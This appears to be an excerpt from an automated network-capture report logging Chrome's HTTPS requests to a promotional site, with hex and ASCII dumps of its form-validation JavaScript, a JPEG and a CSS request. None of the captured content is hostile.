2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 63 65 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 5f 68 74 6d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 6f 75 73 65 6c 65 61 76 65 27 2c 20 68 61 6e 64 6c 65 4d 6f 75 73 65 6c 65 61 76 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 5f 68 74 6d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 6f 75 73 65 65 6e 74 65 72 27 2c 20 68 61 6e 64 6c 65 4d 6f 75 73 65 65 6e 74 65 72 29 3b 0d 0a 20 20 20 20 20 20 20 20 5f 68 74 6d 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 68 61 6e 64 6c 65 4b 65 79 64 6f 77 6e 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 4d 6f 75 73 65 6c 65 61 76 65 28 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 65 Data Ascii: ce() { _html.addEventListener('mouseleave', handleMouseleave); _html.addEventListener('mouseenter', handleMouseenter); _html.addEventListener('keydown', handleKeydown); } function handleMouseleave(e) { if (e
2024-10-03 16:19:52 UTC	1110	IN	Data Raw: 69 72 65 41 6e 64 43 61 6c 6c 62 61 63 6b 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 69 72 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 28 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 66 69 72 65 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 65 6c 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 64 69 73 61 62 6c 65 28 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 69 73 61 62 6c 65 28 6f 70 74 69 6f 6e 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 6f 70 74 69 6f 6e 73 20 7c 7c Data Ascii: ireAndCallback() { fire(); callback(); } function fire() { if (el) { el.style.display = 'block'; } disable(); } function disable(options) { var options = options \|\|
2024-10-03 16:19:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.16	49850	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:52 UTC	487	OUT	GET /outstandingpromotions/automotive/v1/CEmK/extensions/CbUtilityPackage/js/cb-util-pkg.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:52 UTC	765	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:52 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:41:04 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60157 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GnhzRXf04Nuv0ISCsWi0ItqLeEKu29FS0xSNMlLGaMr9RQr3mEn%2B4zaJ0nB3SbAMLY%2BhZ86u9Ro%2FmROGW0mGxQ1T7JIbBzT0C%2Bv0AA9q0%2FR8zy%2FVuwcAETRxyD5wzT5DpAu5%2BVU%2FumTnaTY3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce419aa8ab42ac-EWR
2024-10-03 16:19:52 UTC	409	IN	Data Raw: 31 39 32 0d 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 63 62 55 74 69 6c 43 6f 6e 66 69 67 20 21 3d 3d 20 27 6f 62 6a 65 63 74 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 63 62 55 74 69 6c 43 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 5f 6e 6f 6e 5f 65 6e 67 6c 69 73 68 5f 63 68 61 72 5f 69 6e 70 75 74 29 20 7b 0d 0a 20 20 20 20 09 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 27 6b 65 79 75 70 27 2c 20 27 69 6e 70 75 74 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 09 09 24 28 74 68 69 73 29 2e 76 61 6c 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5e 5c 78 30 30 2d 5c 78 37 46 5d 2f 67 2c 20 27 Data Ascii: 192$(function() { if (typeof cbUtilConfig !== 'object') { return; } if (cbUtilConfig.disable_non_english_char_input) { $(document).on('keyup', 'input', function(){ $(this).val($(this).val().replace(/[^\x00-\x7F]/g, '
2024-10-03 16:19:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.16	49851	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:52 UTC	478	OUT	GET /outstandingpromotions/automotive/v1/CEmK/extensions/Validator/js/validator.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:52 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:52 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Mon, 09 Sep 2024 11:11:40 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60157 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bAfZRiwHeKLmjHEASxay9wCBB1Sg%2FoZi0RIM06TaV11MyTx8IAvC4ykRUoeY3lC%2BTAp7Jy1FMK87uEbYUjBma5X%2FQY%2FQ3bNb0wo%2FJG5Am1q6TXCPIGNOUNhOtKZ2OCy8WF8ufcgBSbuKayHs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce419bda93de96-EWR
2024-10-03 16:19:52 UTC	610	IN	Data Raw: 63 35 39 0d 0a 76 61 72 20 65 72 72 6f 72 43 6c 61 73 73 20 3d 20 27 68 61 73 2d 65 72 72 6f 72 27 3b 0a 76 61 72 20 76 61 6c 69 64 43 6c 61 73 73 20 3d 20 27 6e 6f 2d 65 72 72 6f 72 27 3b 0a 76 61 72 20 63 6f 75 6e 74 72 79 20 3d 20 24 28 27 73 65 6c 65 63 74 5b 6e 61 6d 65 24 3d 43 6f 75 6e 74 72 79 5d 27 29 3b 0a 76 61 72 20 7a 69 70 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 73 68 69 70 70 69 6e 67 5a 69 70 5d 27 29 3b 0a 0a 69 66 20 28 76 61 6c 69 64 61 74 6f 72 5f 64 61 74 61 2e 65 6e 61 62 6c 65 5f 73 74 61 74 65 63 6f 64 65 5f 76 61 6c 69 64 61 74 69 6f 6e 29 20 7b 0a 0a 20 20 20 20 63 6f 75 6e 74 72 79 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 68 61 6e 67 65 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 Data Ascii: c59var errorClass = 'has-error';var validClass = 'no-error';var country = $('select[name$=Country]');var zipSelector = $('input[name=shippingZip]');if (validator_data.enable_statecode_validation) { country .change(function () {
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 69 6e 65 64 22 20 26 26 20 63 5f 63 6f 64 65 20 21 3d 27 27 20 26 26 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 5f 63 6f 64 65 20 3d 3d 20 22 55 53 22 20 26 26 20 21 76 61 6c 69 64 61 74 6f 72 5f 64 61 74 61 2e 65 6e 61 62 6c 65 5f 75 73 5f 73 74 61 74 65 63 6f 64 65 5f 76 61 6c 69 64 61 74 69 6f 6e 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 20 3d 3d 20 27 62 69 6c 6c 69 6e 67 43 6f 75 6e 74 72 79 27 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7b 0a 20 Data Ascii: ined" && c_code !='' && c_code == "US" && !validator_data.enable_us_statecode_validation){ return; } if($(this).attr('name') == 'billingCountry') {
2024-10-03 16:19:52 UTC	1189	IN	Data Raw: 20 20 20 7d 29 3b 0a 0a 0a 20 20 20 20 24 28 27 69 6e 70 75 74 5b 6e 61 6d 65 24 3d 5a 69 70 5d 27 29 2e 62 6c 75 72 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 75 72 41 74 74 72 20 3d 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 3b 0a 20 20 20 20 20 20 20 20 24 28 27 5b 6e 61 6d 65 3d 27 2b 63 75 72 41 74 74 72 2b 27 5d 27 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 27 64 61 74 61 2d 69 67 6e 6f 72 65 27 29 3b 0a 20 20 20 20 20 20 20 20 69 66 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 20 3d 3d 20 27 27 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 5b 6e 61 6d 65 3d 27 2b 63 75 72 41 74 74 72 2b 27 5d 27 29 2e 61 64 64 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 27 29 Data Ascii: }); $('input[name$=Zip]').blur(function () { var curAttr = $(this).attr('name'); $('[name='+curAttr+']').removeAttr('data-ignore'); if($(this).val() == '') { $('[name='+curAttr+']').addClass('required')
2024-10-03 16:19:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.16	49852	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:52 UTC	481	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/2ndcar-kit.jpg HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:52 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:52 GMT Content-Type: image/jpeg Content-Length: 1356303 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60157 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZhF0gqUwcrRp50hcbgs7D03B6PJ4EFONLL2Xyzs3NeaewIx0ccY2LcchwZ0WLbk%2F4MAGmpqtCy1LHxI6gE3obMI2a96JFAfJWA4evIC%2FmIQGkhuahePx2hO%2B8bdOJ7VoPgUSEl%2Fq2G9x6Auv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce419bfceb19d3-EWR
2024-10-03 16:19:52 UTC	656	IN	Data Raw: ff d8 ff e1 19 55 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 0c 00 00 01 03 00 01 00 00 00 6c 07 00 00 01 01 03 00 01 00 00 00 28 04 00 00 02 01 03 00 03 00 00 00 9e 00 00 00 06 01 03 00 01 00 00 00 02 00 00 00 12 01 03 00 01 00 00 00 01 00 00 00 15 01 03 00 01 00 00 00 03 00 00 00 1a 01 05 00 01 00 00 00 a4 00 00 00 1b 01 05 00 01 00 00 00 ac 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 31 01 02 00 1f 00 00 00 b4 00 00 00 32 01 02 00 14 00 00 00 d3 00 00 00 69 87 04 00 01 00 00 00 e8 00 00 00 20 01 00 00 08 00 08 00 08 00 80 fc 0a 00 10 27 00 00 80 fc 0a 00 10 27 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 36 3a 31 31 20 31 35 3a 34 37 3a 32 35 00 00 04 00 00 90 07 00 04 00 00 00 30 Data Ascii: UExifII*l((12i ''Adobe Photoshop 21.0 (Windows)2024:06:11 15:47:250
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 Data Ascii: 3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 79 ab be a6 75 43 8d 65 cd cc 39 79 2c 6e e6 d4 e6 06 31 ce 68 03 d3 63 dc ed db b6 8d 95 b9 68 fd 59 fa b2 7a 67 4d b3 33 36 b2 cc db 9c 5d b1 c4 17 57 59 9a d9 5b b6 fb 7d 6b 1c f7 da f5 d5 3a 1a cd f6 10 c6 0d 37 3b 89 3f f5 4a 96 75 af 2f 65 22 43 60 38 b4 e8 64 92 3f 49 ff 00 a4 d0 c5 3c b9 4f 04 8d c6 f8 8f f0 5f 9a 38 b0 c4 ce 11 e1 3f 28 1b fa 8f e9 34 6e 6f b3 68 02 7b 4f e2 16 26 75 17 b6 e6 dc cb 48 65 7f e0 83 47 b9 c3 e8 d9 ea 1f d2 37 6f f2 56 d5 c4 86 3d f5 b3 7b c3 74 6e e0 dd c4 7d 16 7a 96 4f a7 b9 53 b8 39 f5 03 63 03 1e 44 ba b2 43 b6 9f 07 39 be d7 2b 60 53 9c 4d 9b 79 df ae 16 3f 33 a4 33 29 c7 de db f7 59 e3 b9 ed 7b 5f ff 00 4f 6a c1 c0 b1 b5 f4 f6 bc b8 56 40 7e db 0f e6 9b 1d e8 6f fe c3 5d b9 74 7d 5b 18 db 83 95 8c 25 c6 d6 0d Data Ascii: yuCe9y,n1hchYzgM36]WY[}k:7;?Ju/e"C`8d?I<O_8?(4noh{O&uHeG7oV={tn}zOS9cDC9+`SMy?33)Y{_OjV@~o]t}[%
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: d7 6e 7d 6e b1 d8 19 19 15 40 6d d6 31 e1 ce 03 bf a4 e6 59 4f fd 3f fb 6d 67 75 8f aa 3d 6b ec 87 d6 23 13 01 af df 98 1a e3 73 9f 61 da df b4 5b b7 d2 dd 5f b5 8d f7 7d 07 fe 91 23 38 9e a1 43 1c c6 f1 34 87 aa f5 3a 3a dd 17 64 50 3d dd 36 e1 4e f9 93 65 17 87 d9 4d ce ff 00 d0 aa ae ff 00 d8 ba d5 7e 83 d4 07 4f eb 98 d7 b8 91 46 57 ea d6 fe ec 59 a3 5e ed 3f 32 ef 49 eb 63 a4 fd 56 15 74 8c ab 68 ca 75 b8 ef c4 b1 a3 1d ec da 4d ac 73 33 19 6b b6 bb 6f a8 d7 e3 ec ff 00 49 e9 fe 89 61 e0 f4 2e a5 d6 ab b6 bc 16 88 c7 fe 72 e7 b8 31 8d 96 b9 d4 b0 b8 fe 7d db 7f 47 ed f4 ff 00 d3 3e ba d1 12 08 94 48 dc 57 67 bd b2 c7 0d db dc 1a 19 c9 71 0d 0d d7 bb 9d b5 ad 45 3d 7f a4 b2 83 73 f2 ea 73 9a 35 ad 8e 0e 71 77 76 b1 bf 9c b9 cc f7 e5 e4 66 51 83 d4 1a Data Ascii: n}n@m1YO?mgu=k#sa[_}#8C4::dP=6NeM~OFWY^?2IcVthuMs3koIa.r1}G>HWgqE=ss5qwvfQ
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: a4 b6 db ba a3 b3 3d 52 5d b5 ed 7f a5 53 b1 7d 3a da ec 5a ec 6d 7f a1 fb 4f f3 94 fa 96 7f 3d b1 13 96 30 03 8c 81 67 80 7f 5a 5d bf c2 5a 63 c5 20 23 d6 8f f7 78 9c 1f ac b5 b2 9e b1 5f 51 c3 f4 eb 6e 61 35 e7 ee 13 5b 83 b6 ef 7d be a6 f6 7a 2d c6 6f f3 4c 58 dd 23 23 07 18 3e 87 7a 67 d6 79 b2 bb 2b 25 a3 dd 3b 6b 70 77 b6 b7 b1 bf 41 77 8c e8 56 67 0c 70 ea 1d 4e 38 3e ab ef b0 cb ac 71 6e f0 f1 45 90 eb 6b f5 99 e9 be db 7f 9d ae cf e6 fd 25 95 f5 9f ea c7 49 cb 65 79 b8 99 d8 f4 be 9c 73 57 d9 a9 65 6e 17 59 8f ba db fd 36 51 6b 5d eb 32 87 ed db 5d 4f d9 ff 00 6a 3f 46 aa fd ef 09 f4 64 98 8c e5 2e 1e 18 8e 29 6b ea 87 14 63 c5 38 ff 00 84 e8 48 fd d3 2c 0e 12 32 ca 35 42 47 e5 be 2c 79 63 e9 97 b7 0f 77 e7 ff 00 39 07 23 20 64 5f d5 30 05 75 b9 Data Ascii: =R]S}:ZmO=0gZ]Zc #x_Qna5[}z-oLX##>zgy+%;kpwAwVgpN8>qnEk%IeysWenY6Qk]2]Oj?Fd.)kc8H,25BG,ycw9# d_0u
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 8b f6 3c 82 db 6c c1 c9 01 d6 0d ad 16 3c 53 6c df 5d 39 94 35 cf ae dc 9c 5b 0d 94 7a b8 b7 7e 93 d1 a9 fe ae f5 a7 4e 45 16 d0 ea 5b 60 fb 5b ea 7d 72 f6 be b2 5e da b6 6f a6 ab 37 5a ca 3d bb b7 ff 00 36 cf f4 b6 2b 99 18 2f 7e 41 c3 f5 ae a0 38 9b f0 f2 2a 71 06 b7 8d 2c a9 ed fe 6e ca ff 00 e0 ee 6a 15 98 ff 00 58 dd 8d 6b 5b e8 37 3e 97 31 d5 65 34 0f 4f 25 80 9f 53 1f 26 a7 07 59 46 f6 fd 3f 4d ff 00 4f f9 bb 52 84 e8 c8 88 10 76 97 0f f5 7a 2e 89 fb c4 22 25 90 03 09 70 70 e5 f9 b1 fe 8f 14 67 fa 58 ff 00 97 03 8a df ab 99 75 35 bb 33 6e 0f c7 32 c7 82 0b b6 16 fb d8 c6 1f 63 ee b2 e6 ef 66 eb 3d 0f 63 2b ff 00 08 ba 3f ab dd 3f 2f 0b a6 d5 5e 7b c5 99 44 97 be 35 d9 3f 46 af 53 e9 5c ea db fe 1a cf 7b d6 83 18 08 6b 9e c6 b6 c0 24 86 ea 01 3f 4b Data Ascii: <l<Sl]95[z~NE[`[}r^o7Z=6+/~A8*q,njXk[7>1e4O%S&YF?MORvz."%ppgXu53n2cf=c+??/^{D5?FS\{k$?K
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 6e 67 62 6f 6f 6c 00 00 00 00 0e 63 72 6f 70 52 65 63 74 42 6f 74 74 6f 6d 6c 6f 6e 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 03 f2 00 00 00 00 00 0a 00 00 ff ff ff ff ff ff 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 8a 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 Data Ascii: ngboolcropRectBottomlongcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM8BIM'
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 0c 00 00 00 02 3f f0 00 00 00 00 00 00 38 42 49 4d 04 11 00 00 00 00 00 01 01 00 38 42 49 4d 04 14 00 00 00 00 00 04 00 00 00 ba 38 42 49 4d 04 0c 00 00 00 00 17 eb 00 00 00 01 00 00 00 a0 00 00 00 52 00 00 01 e0 00 00 99 c0 00 00 17 cf 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 Data Ascii: ?8BIM8BIM8BIMRAdobe_CMAdobed
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 96 cf fb a4 fb 3d 7a 7f 49 f6 0b 2d af f4 6a 2e 63 14 b2 c6 e1 c3 ee 55 1b 1f ce 44 33 72 b9 a1 88 f0 e4 e2 f6 ef 88 10 7f 9a 91 eb fd d6 c7 d5 1c 9f b5 57 7f 4e cc af d3 af 21 a4 3a 8e 20 b4 fe 8a fa 67 77 b9 be c5 d2 74 ab db 92 f0 72 1c 6e c8 c3 b0 62 e6 39 e3 e9 be b6 7d a1 99 0d ff 00 8e a4 7e 91 9f f0 6b 23 a6 f4 5c ac 7b ea c8 a8 d5 73 0c 6d ca f5 83 81 ac fd 37 d5 55 75 b5 df d4 dd ff 00 5c 5b 3d 39 be 9f 59 cb c7 6e 8d ca 02 e3 e0 5c c0 df fa 7b 3d 44 de 5b dd c7 8c 46 63 87 d4 45 78 49 77 3b ed 4f 27 16 32 27 a0 26 43 c3 bb ff d0 e0 99 56 40 11 53 4b c1 83 b9 80 eb fd af eb 26 b6 8c cb 4e d2 dd 8d 69 91 b8 fe 46 b5 4e da 72 9f 69 17 17 fa d0 4f a6 7d 8d 68 e3 46 93 fa 36 b1 3b 46 43 59 0c 8d 80 16 ee 1e 71 2d d7 e0 a3 a8 8d 6a d9 4f 11 d2 f8 58 Data Ascii: =zI-j.cUD3rWN!: gwtrnb9}~k#\{sm7Uu\[=9Yn\{=D[FcExIw;O'2'&CV@SK&NiFNriO}hF6;FCYq-jOX
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 0a 43 ed bb 39 ee ca be e0 df d1 87 11 5d 4e 22 76 e2 70 f6 ed ff 00 48 9e ce 81 87 0c da e7 86 bd e5 a4 c8 27 5f 6d 6e 6f b7 6b bd df ce 6e ff 00 ad ad 36 11 01 a2 78 dc e2 79 d7 8f ed 3d 20 f0 fc 81 5b 7e 8d 00 17 9e c1 c4 7e 8e b1 fd 56 7e 95 ff 00 f5 a5 62 31 11 14 05 06 9c e5 29 9b 91 b2 e1 df f5 7e f6 54 e7 51 67 af 63 35 6d 45 a1 a5 c3 46 92 c7 fa 9f 4d ab 02 ef 4c 4b 1d b9 96 ee d5 a4 46 d0 01 d0 87 7b fd 4d cb d0 61 bb c9 ee 1b 04 f9 13 3f f7 d5 46 fc 6a 32 5e e7 5c c6 d9 b8 c8 dc d0 ed 38 6f d2 42 73 11 5d 8f 17 1d eb 54 f9 d6 5d 7a 17 6b af 1a f6 f8 2c 2b 71 5f 7f 52 a5 95 3b 65 8e 6b 9f 59 e3 dd 51 17 06 ee ff 00 07 bb 67 d3 fc c5 ea b7 fd 5a e9 17 03 ba 90 c9 ef 59 2c ff 00 a9 2b 0f aa 7f 8b 9a 72 f6 d9 85 9d 6e 3d b5 ee d8 e2 03 88 dc 3f 7d Data Ascii: C9]N"vpH'_mnokn6xy= [~~V~b1)~TQgc5mEFMLKF{Ma?Fj2^\8oBs]T]zk,+q_R;ekYQgZY,+rn=?}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.16	49854	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:52 UTC	755	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome-css.min.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
